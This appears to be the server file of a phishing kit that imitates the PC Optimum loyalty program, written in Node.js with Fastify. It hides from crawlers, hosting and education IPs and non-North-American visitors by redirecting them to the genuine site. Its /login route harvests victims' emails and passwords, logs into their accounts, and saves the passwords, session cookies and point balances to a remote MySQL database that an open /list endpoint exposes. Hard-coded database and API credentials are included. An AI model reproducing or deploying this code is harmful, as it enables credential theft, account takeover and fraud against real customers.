pcoptimum/app.mjs

import Fastify from "fastify";
import fastifyStatic from "@fastify/static";
import { dirname, resolve, join } from "path";
import { fileURLToPath } from "url";
import { Sequelize, DataTypes } from "sequelize";
import { login } from "./login.mjs";
import axios from "axios";
import is_ip_private from "private-ip";
import { Crawler, middleware } from "es6-crawler-detect";

const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);

const fastify = Fastify({
    trustProxy: true,
    logger: {
        level: "error",
    },
});

fastify.addHook("onRequest", async (request, reply) => {
    var CrawlerDetector = new Crawler(request);
    if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
        return reply.code(302).header("Location", "http://localhost").send();
    }
    try {
        const ip = request.ip;
        console.log(ip);
        if (ip && !is_ip_private(ip)) {
            const { data: ipInfo } = await axios.get(
                `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
            );
            if (
                ["cdn", "hosting", "education"].includes(ipInfo.connection.type)
            ) {
                return reply
                    .code(302)
                    .header("Location", "https://www.pcoptimum.ca")
                    .send();
            }
            if (!["US", "CA"].includes(ipInfo.location.country.code)) {
                return reply
                    .code(302)
                    .header("Location", "https://www.pcoptimum.ca")
                    .send();
            }
        }
    } catch (error) {
        console.error(error.stack);
    }
});

fastify.register(fastifyStatic, {
    root: resolve(__dirname, "public"),
    prefix: "/",
});

const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
    host: "38.180.126.100",
    dialect: "mysql",
});

const Accounts = sequelize.define(
    "accounts",
    {
        // Model attributes are defined here
        email: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        password: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        userAgent: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        ip: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        success: {
            type: DataTypes.BOOLEAN,
            allowNull: false,
            defaultValue: false,
        },
        result: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        error: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        balance: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        dollarsRedeemable: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        cookies: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        browserOptions: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
    },
    {
        // Other model options go here
    }
);

sequelize
    .authenticate()
    .then(() => {
        console.log("Connection has been established successfully.");
        Accounts.sync().then(() => {
            console.log(
                "The table for the Account model was just (re)created!"
            );
        });
    })
    .catch((error) => {
        console.error("Unable to connect to the database:", error);
    });

fastify.post("/login", async function (request, reply) {
    if (!request.body || !request.body.email || !request.body.password) {
        return reply
            .code(400)
            .send({ error: "email and password are required" });
    } else {
        const { email, password } = request.body;
        try {
            const { points, cookies, options } = await login(email, password);
            let balance = null;
            let dollarsRedeemable = null;
            if (points) {
                try {
                    const json = JSON.parse(points);
                    balance = json.balance + "";
                    dollarsRedeemable = json.dollarsRedeemable + "";
                } catch (error) {}
            }
            const account = await Accounts.create({
                email,
                password,
                userAgent: request.headers["user-agent"],
                success: true,
                result: points,
                balance,
                dollarsRedeemable,
                cookies,
                browserOptions: JSON.stringify(options),
            });
            return reply.code(200).send();
        } catch (error) {
            console.error(error.stack);
            const account = await Accounts.create({
                email,
                password,
                userAgent: request.headers["user-agent"],
                success: false,
                error: error.stack,
            });
            return reply.code(500).send(error);
        }
    }
});

fastify.get("/list", async function (request, reply) {
    let page = request.query.page ? parseInt(request.query.page) : 0;
    const query = {};
    if (request.query.success) {
        query.success = request.query.success === "true";
    }
    const accounts = await Accounts.findAll({
        offset: 20 * page,
        limit: 20,
        order: [["createdAt", "DESC"]],
        where: query,
    });
    const total = await Accounts.count({ where: query });
    return {
        data: accounts,
        total,
    };
});

fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
    if (err) {
        fastify.log.error(err);
        process.exit(1);
    }
});